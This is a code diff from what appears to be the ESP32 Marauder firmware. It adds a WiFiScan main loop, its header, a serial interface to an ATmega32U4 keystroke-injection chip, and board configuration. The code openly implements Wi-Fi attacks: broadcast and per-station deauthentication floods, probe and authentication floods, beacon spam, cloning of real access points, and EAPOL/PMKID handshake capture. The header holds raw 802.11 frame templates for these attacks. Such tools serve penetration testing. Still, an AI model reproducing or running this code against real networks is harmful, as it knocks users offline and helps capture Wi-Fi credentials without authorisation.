+        if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+        {
+          display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+        }
+        else
+        {
+          display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+        }
+        //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
+        //if (x_pos <= 90)
+        if (x_pos < 0) // below x axis
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+        }
+        else
+        {
+          //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+          display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+        }
+        
+        //tftDisplayTime();
+        
+        if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+        {
+          display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+        }
+         
+        y_pos_x_old = y_pos_x; //set old y pos values to current y pos values 
+        y_pos_y_old = y_pos_y;
+        y_pos_z_old = y_pos_z;
+    
+        //delay(50);
+      }
+  
+      sd_obj.main();
+     
+    }
+    
+    display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+    //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
+    display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+    
+    display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
+    display_obj.tftDrawYScaleButtons(y_scale);
+    display_obj.tftDrawChannelScaleButtons(set_channel);
+    display_obj.tftDrawExitScaleButtons();
+    display_obj.tftDrawColorKey();
+    display_obj.tftDrawGraphObjects(x_scale);
+  }
+#endif
+
+//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
+//  wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+//  showMetadata(snifferPacket, type);
+//}
+
+void WiFiScan::changeChannel(int chan) {
+  this->set_channel = chan;
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+void WiFiScan::changeChannel()
+{
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+// Function to cycle to the next channel
+void WiFiScan::channelHop()
+{
+  this->set_channel = this->set_channel + 1;
+  if (this->set_channel > 13) {
+    this->set_channel = 1;
+  }
+  esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+  delay(1);
+}
+
+char* WiFiScan::stringToChar(String string) {
+  char buf[string.length() + 1] = {};
+  string.toCharArray(buf, string.length() + 1);
+
+  return buf;
+}
+
+
+// Function for updating scan status
+void WiFiScan::main(uint32_t currentTime)
+{
+  // WiFi operations
+  if ((currentScanMode == WIFI_SCAN_PROBE) ||
+  (currentScanMode == WIFI_SCAN_AP) ||
+  (currentScanMode == WIFI_SCAN_STATION) ||
+  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+  (currentScanMode == WIFI_SCAN_PWN) ||
+  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
+  (currentScanMode == WIFI_SCAN_DEAUTH) ||
+  (currentScanMode == WIFI_SCAN_ALL))
+  {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      channelHop();
+    }
+  }
+  else if (currentScanMode == WIFI_PACKET_MONITOR)
+  {
+    #ifdef HAS_SCREEN
+      #ifndef MARAUDER_MINI
+        packetMonitorMain(currentTime);
+      #endif
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      #ifndef MARAUDER_MINI
+        eapolMonitorMain(currentTime);
+      #endif
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      eapolMonitorMain(currentTime);
+    #endif
+  }
+  else if (currentScanMode == WIFI_ATTACK_AUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendProbeAttack(currentTime);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendDeauthAttack(currentTime, this->dst_mac);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
+    for (int i = 0; i < 55; i++)
+      this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
+    // Loop through each AP
+    for (int x = 0; x < access_points->size(); x++) {
+      // Only get selected APs
+      if (access_points->get(x).selected) {
+        AccessPoint cur_ap = access_points->get(x);
+        // Loop through each AP's Station
+        for (int i = 0; i < cur_ap.stations->size(); i++) {
+          // Only get selected Stations
+          if (stations->get(cur_ap.stations->get(i)).selected) {
+            Station cur_sta = stations->get(cur_ap.stations->get(i));
+
+            // Send deauths for each selected AP's selected Station
+            for (int y = 0; y < 25; y++)
+              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
+
+            // Display packets sent on screen
+            if (currentTime - initTime >= 1000) {
+              initTime = millis();
+              String displayString = "";
+              String displayString2 = "";
+              displayString.concat(text18);
+              displayString.concat(packets_sent);
+              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+                displayString2.concat(" ");
+              #ifdef HAS_SCREEN
+                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+                display_obj.showCenterText(displayString2, 160);
+                display_obj.showCenterText(displayString, 160);
+              #endif
+              packets_sent = 0;
+            }
+          }
+        }
+      }
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected)
+        this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, {random(256), 
+                                                                                    random(256), 
+                                                                                    random(256), 
+                                                                                    random(256), 
+                                                                                    random(256), 
+                                                                                    random(256)}});
+    }
+      
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
+  {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < 55; i++)
+      broadcastRandomSSID(currentTime);
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
+    for (int i = 0; i < ssids->size(); i++)
+      this->broadcastCustomBeacon(currentTime, ssids->get(i));
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected)
+        this->broadcastCustomBeacon(currentTime, access_points->get(i));
+    }
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
+  {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < 7; i++)
+    {
+      for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
+      {
+        broadcastSetSSID(currentTime, rick_roll[x]);
+      }
+    }
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+}

+ 349 - 0
esp32cam_marauder/WiFiScan.h

@@ -0,0 +1,349 @@
+#ifndef WiFiScan_h
+#define WiFiScan_h
+
+#include "configs.h"
+
+//#include <BLEDevice.h>
+//#include <BLEUtils.h>
+//#include <BLEScan.h>
+//#include <BLEAdvertisedDevice.h>
+#include <ArduinoJson.h>
+
+// Testing NimBLE
+#ifdef HAS_BT
+  #include <NimBLEDevice.h>
+#endif
+
+#include <WiFi.h>
+#include <math.h>
+#include "esp_wifi.h"
+#include "esp_wifi_types.h"
+#ifdef HAS_BT
+  #include "esp_bt.h"
+#endif
+#ifdef HAS_SCREEN
+  #include "Display.h"
+#endif
+#include "SDInterface.h"
+#include "Buffer.h"
+#include "BatteryInterface.h"
+#include "TemperatureInterface.h"
+#include "settings.h"
+#include "Assets.h"
+#include "flipperLED.h"
+#include "LedInterface.h"
+//#include "MenuFunctions.h"
+
+#define bad_list_length 3
+
+#define OTA_UPDATE 100
+#define SHOW_INFO 101
+#define ESP_UPDATE 102
+#define WIFI_SCAN_OFF 0
+#define WIFI_SCAN_PROBE 1
+#define WIFI_SCAN_AP 2
+#define WIFI_SCAN_PWN 3
+#define WIFI_SCAN_EAPOL 4
+#define WIFI_SCAN_DEAUTH 5
+#define WIFI_SCAN_ALL 6
+#define WIFI_PACKET_MONITOR 7
+#define WIFI_ATTACK_BEACON_SPAM 8
+#define WIFI_ATTACK_RICK_ROLL 9
+#define BT_SCAN_ALL 10
+#define BT_SCAN_SKIMMERS 11
+#define WIFI_SCAN_ESPRESSIF 12
+#define LV_JOIN_WIFI 13
+#define LV_ADD_SSID 14
+#define WIFI_ATTACK_BEACON_LIST 15
+#define WIFI_SCAN_TARGET_AP 16
+#define LV_SELECT_AP 17
+#define WIFI_ATTACK_AUTH 18
+#define WIFI_ATTACK_MIMIC 19
+#define WIFI_ATTACK_DEAUTH 20
+#define WIFI_ATTACK_AP_SPAM 21
+#define WIFI_SCAN_TARGET_AP_FULL 22
+#define WIFI_SCAN_ACTIVE_EAPOL 23
+#define WIFI_ATTACK_DEAUTH_MANUAL 24
+#define WIFI_SCAN_RAW_CAPTURE 25
+#define WIFI_SCAN_STATION 26
+#define WIFI_ATTACK_DEAUTH_TARGETED 27
+
+#define GRAPH_REFRESH 100
+
+#define MAX_CHANNEL 14
+
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+extern SDInterface sd_obj;
+extern Buffer buffer_obj;
+extern BatteryInterface battery_obj;
+extern TemperatureInterface temp_obj;
+extern Settings settings_obj;
+extern flipperLED flipper_led;
+extern LedInterface led_obj;
+
+esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
+//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
+
+struct ssid {
+  String essid;
+  int bssid[6];
+  bool selected;
+};
+
+struct AccessPoint {
+  String essid;
+  int channel;
+  int bssid[6];
+  bool selected;
+  LinkedList<char>* beacon;
+  int rssi;
+  LinkedList<int>* stations;
+};
+
+struct Station {
+  uint8_t mac[6];
+  bool selected;
+};
+
+class WiFiScan
+{
+  private:
+    // Settings
+    int channel_hop_delay = 1;
+    bool force_pmkid = false;
+    bool force_probe = false;
+    bool save_pcap = false;
+  
+    int x_pos; //position along the graph x axis
+    float y_pos_x; //current graph y axis position of X value
+    float y_pos_x_old = 120; //old y axis position of X value
+    float y_pos_y; //current graph y axis position of Y value
+    float y_pos_y_old = 120; //old y axis position of Y value
+    float y_pos_z; //current graph y axis position of Z value
+    float y_pos_z_old = 120; //old y axis position of Z value
+    int midway = 0;
+    byte x_scale = 1; //scale of graph x axis, controlled by touchscreen buttons
+    byte y_scale = 1;
+
+    bool do_break = false;
+
+    bool wsl_bypass_enabled = false;
+
+    //int num_beacon = 0; // GREEN
+    //int num_probe = 0; // BLUE
+    //int num_deauth = 0; // RED
+
+    uint32_t initTime = 0;
+    bool run_setup = true;
+    void initWiFi(uint8_t scan_mode);
+    int bluetoothScanTime = 5;
+    int packets_sent = 0;
+    const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
+    #ifdef HAS_BT
+      NimBLEScan* pBLEScan;
+    #endif
+
+    //String connected_network = "";
+    String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
+
+    char* rick_roll[8] = {
+      "01 Never gonna give you up",
+      "02 Never gonna let you down",
+      "03 Never gonna run around",
+      "04 and desert you",
+      "05 Never gonna make you cry",
+      "06 Never gonna say goodbye",
+      "07 Never gonna tell a lie",
+      "08 and hurt you"
+    };
+
+    char* prefix = "G";
+
+    typedef struct
+    {
+      int16_t fctl;
+      int16_t duration;
+      uint8_t da;
+      uint8_t sa;
+      uint8_t bssid;
+      int16_t seqctl;
+      unsigned char payload[];
+    } __attribute__((packed)) WifiMgmtHdr;
+    
+    typedef struct {
+      uint8_t payload[0];
+      WifiMgmtHdr hdr;
+    } wifi_ieee80211_packet_t;
+
+    // barebones packet
+    uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, //Frame Control, Duration
+                    /*4*/   0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination address 
+                    /*10*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //Source address - overwritten later
+                    /*16*/  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //BSSID - overwritten to the same as the source address
+                    /*22*/  0xc0, 0x6c, //Seq-ctl
+                    /*24*/  0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, //timestamp - the number of microseconds the AP has been active
+                    /*32*/  0x64, 0x00, //Beacon interval
+                    /*34*/  0x01, 0x04, //Capability info
+                    /* SSID */
+                    /*36*/  0x00
+                    };
+
+    /*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
+                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
+                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
+                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
+                                0x00, 0x01, // Sequence number
+                                0x00, 0x00, // Algo
+                                0x01, 0x00, // Auth sequence number
+                                0x00, 0x00, // Status Code
+                                0x7F, 0x08,
+                                0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
+                                0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
+                                0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
+                                0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
+                                0x00
+                                };*/
+    uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00, 
+                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
+                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
+                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
+                              0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
+                              0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
+                              0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a, 
+                              0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd, 
+                              0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 
+                              0x00, 0x00, 0x00};
+
+    uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, 
+                                  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
+                                  0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
+                                  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
+                                  0x01, 0x00, // Sequence
+                                  0x00, // SSID Parameter
+                                  0x00, // SSID Length
+                                  /* SSID */
+                                  };
+
+    uint8_t deauth_frame_default[26] = {
+                              0xc0, 0x00, 0x3a, 0x01,
+                              0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                              0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+                              0xf0, 0xff, 0x02, 0x00
+                          };
+
+    void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
+
+    void packetMonitorMain(uint32_t currentTime);
+    void eapolMonitorMain(uint32_t currentTime);
+    void updateMidway();
+    void tftDrawXScalButtons();
+    void tftDrawYScaleButtons();
+    void tftDrawChannelScaleButtons();
+    void tftDrawColorKey();
+    void tftDrawGraphObjects();
+    void sendProbeAttack(uint32_t currentTime);
+    void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
+    void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
+    void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
+    void broadcastRandomSSID(uint32_t currentTime);
+    void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
+    void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
+    void broadcastSetSSID(uint32_t current_time, char* ESSID);
+    void RunAPScan(uint8_t scan_mode, uint16_t color);
+    //void RunRickRoll(uint8_t scan_mode, uint16_t color);
+    //void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
+    //void RunProbeFlood(uint8_t scan_mode, uint16_t color);
+    //void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
+    void RunMimicFlood(uint8_t scan_mode, uint16_t color);
+    //void RunBeaconList(uint8_t scan_mode, uint16_t color);
+    void RunEspressifScan(uint8_t scan_mode, uint16_t color);
+    void RunPwnScan(uint8_t scan_mode, uint16_t color);
+    void RunBeaconScan(uint8_t scan_mode, uint16_t color);
+    void RunRawScan(uint8_t scan_mode, uint16_t color);
+    void RunStationScan(uint8_t scan_mode, uint16_t color);
+    void RunDeauthScan(uint8_t scan_mode, uint16_t color);
+    void RunEapolScan(uint8_t scan_mode, uint16_t color);
+    void RunProbeScan(uint8_t scan_mode, uint16_t color);
+    void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
+    void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
+    void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
+    #ifdef HAS_BT
+      static void scanCompleteCB(BLEScanResults scanResults);
+    #endif
+
+    //int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
+
+  public:
+    WiFiScan();
+
+    //AccessPoint ap_list;
+
+    //LinkedList<ssid>* ssids;
+
+    int set_channel = 1;
+
+    int old_channel = 0;
+
+    bool orient_display = false;
+    bool wifi_initialized = false;
+    bool ble_initialized = false;
+
+    String free_ram = "";
+    String old_free_ram = "";
+    String connected_network = "";
+
+    String dst_mac = "ff:ff:ff:ff:ff:ff";
+    byte src_mac[6] = {};
+
+    //lv_obj_t * scr = lv_cont_create(NULL, NULL);
+
+    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 
+
+    char* stringToChar(String string);
+    void RunSetup();
+    int clearSSIDs();
+    int clearAPs();
+    int clearStations();
+    bool addSSID(String essid);
+    int generateSSIDs(int count = 20);
+    bool shutdownWiFi();
+    bool shutdownBLE();
+    bool scanning();
+    void joinWiFi(String ssid, String password);
+    String getStaMAC();
+    String getApMAC();
+    String freeRAM();
+    void changeChannel();
+    void changeChannel(int chan);
+    void RunInfo();
+    void RunShutdownWiFi();
+    void RunShutdownBLE();
+    void RunGenerateSSIDs(int count = 20);
+    void RunClearSSIDs();
+    void RunClearAPs();
+    void RunClearStations();
+    void channelHop();
+    uint8_t currentScanMode = 0;
+    void main(uint32_t currentTime);
+    void StartScan(uint8_t scan_mode, uint16_t color = 0);
+    void StopScan(uint8_t scan_mode);
+    
+    static void getMAC(char *addr, uint8_t* data, uint16_t offset);
+    static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+    static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
+};
+#endif

+ 69 - 0
esp32cam_marauder/a32u4_interface.cpp

@@ -0,0 +1,69 @@
+#include "a32u4_interface.h"
+
+HardwareSerial MySerial_two(2);
+
+void A32u4Interface::begin() {
+  MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
+
+  delay(2000);
+
+  Serial.println("Setup A32U4 Serial Interface");
+
+  MySerial_two.println("DELAY 1");
+
+  delay(1000);
+
+  uint8_t a32u4_rep = 0;
+
+  if (MySerial_two.available()) {
+    a32u4_rep = (uint8_t)MySerial_two.read();
+  }
+
+  //display_string.trim();
+
+  //Serial.println("\nDisplay string: " + (String)display_string);
+
+  if (a32u4_rep != 0) {
+    this->supported = true;
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.tft.println("ATmega32U4 Found!");
+      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+      display_obj.tft.println("ATmega32U4 Not Found");
+      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+    #endif
+    Serial.print("A32U4 Said: ");
+    Serial.println(a32u4_rep);
+  }
+
+  this->initTime = millis();
+}
+
+void A32u4Interface::runScript(String script) {
+  MySerial_two.println(script);
+}
+
+void A32u4Interface::test() {
+  MySerial_two.println("STRING Hello, World!");
+}
+
+void A32u4Interface::main(uint32_t current_time) {
+
+  if (current_time - this->initTime >= 1000) {
+    this->initTime = millis();
+    //MySerial_two.write("PING");
+
+    //delay(1);
+    
+    if (MySerial_two.available()) {
+      Serial.println("Got A32U4 Serial data");
+      Serial.println(MySerial_two.read());
+    }
+  }
+
+}

+ 30 - 0
esp32cam_marauder/a32u4_interface.h

@@ -0,0 +1,30 @@
+#ifndef a32u4_interface_h
+#define a32u4_interface_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+  #include "Display.h"
+#endif
+#include <HardwareSerial.h>
+
+#define BAUD32U4 115200
+
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+
+class A32u4Interface {
+  public:
+    bool supported = false;
+
+    uint32_t initTime;
+
+    void begin();
+
+    void main(uint32_t current_time);
+    void test();
+    void runScript(String script);
+};
+
+#endif

+ 428 - 0
esp32cam_marauder/configs.h

@@ -0,0 +1,428 @@
+#ifndef configs_h
+
+  #define configs_h
+
+  #define POLISH_POTATO
+  
+  //#define MARAUDER_MINI
+  //#define MARAUDER_V4
+  //#define MARAUDER_V6
+  //#define MARAUDER_KIT
+  //#define GENERIC_ESP32
+  #define MARAUDER_FLIPPER
+  #define DISABLE_RGB_LED
+  
+  //#define ESP32_LDDB
+  //#define MARAUDER_DEV_BOARD_PRO
+
+  #define MARAUDER_VERSION "v0.10.1"
+
+  //// BUTTON DEFINITIONS
+  #ifdef MARAUDER_MINI
+    #define L_BTN 13
+    #define C_BTN 34
+    #define U_BTN 36
+    #define R_BTN 39
+    #define D_BTN 35
+  #endif
+
+  #ifdef MARAUDER_V4
+  #endif
+  //// END BUTTON DEFINITIONS
+
+  //// DISPLAY DEFINITIONS
+  #ifdef MARAUDER_V4
+    #define BANNER_TEXT_SIZE 2
+
+    #ifndef TFT_WIDTH
+      #define TFT_WIDTH 240
+    #endif
+
+    #ifndef TFT_HEIGHT
+      #define TFT_HEIGHT 320
+    #endif
+
+    #define TFT_SHIELD
+    
+    #define SCREEN_WIDTH TFT_WIDTH
+    #define SCREEN_HEIGHT TFT_HEIGHT
+    #define HEIGHT_1 TFT_WIDTH
+    #define WIDTH_1 TFT_HEIGHT
+    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+    #define YMAX 320 // Bottom of screen area
+    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+    //#define MENU_FONT NULL
+    #define MENU_FONT &FreeMono9pt7b // Winner
+    //#define MENU_FONT &FreeMonoBold9pt7b
+    //#define MENU_FONT &FreeSans9pt7b
+    //#define MENU_FONT &FreeSansBold9pt7b
+    #define BUTTON_ARRAY_LEN 10
+    #define STATUS_BAR_WIDTH 16
+    #define LVGL_TICK_PERIOD 6
+    
+    #define FRAME_X 100
+    #define FRAME_Y 64
+    #define FRAME_W 120
+    #define FRAME_H 50
+    
+    // Red zone size
+    #define REDBUTTON_X FRAME_X
+    #define REDBUTTON_Y FRAME_Y
+    #define REDBUTTON_W (FRAME_W/2)
+    #define REDBUTTON_H FRAME_H
+    
+    // Green zone size
+    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+    #define GREENBUTTON_Y FRAME_Y
+    #define GREENBUTTON_W (FRAME_W/2)
+    #define GREENBUTTON_H FRAME_H
+    
+    #define STATUSBAR_COLOR 0x4A49
+    
+    #define KIT_LED_BUILTIN 13
+  #endif
+
+  #ifdef MARAUDER_V6
+    #define BANNER_TEXT_SIZE 2
+
+    #ifndef TFT_WIDTH
+      #define TFT_WIDTH 240
+    #endif
+
+    #ifndef TFT_HEIGHT
+      #define TFT_HEIGHT 320
+    #endif
+
+    #define TFT_DIY
+    
+    #define SCREEN_WIDTH TFT_WIDTH
+    #define SCREEN_HEIGHT TFT_HEIGHT
+    #define HEIGHT_1 TFT_WIDTH
+    #define WIDTH_1 TFT_HEIGHT
+    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+    #define YMAX 320 // Bottom of screen area
+    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+    //#define MENU_FONT NULL
+    #define MENU_FONT &FreeMono9pt7b // Winner
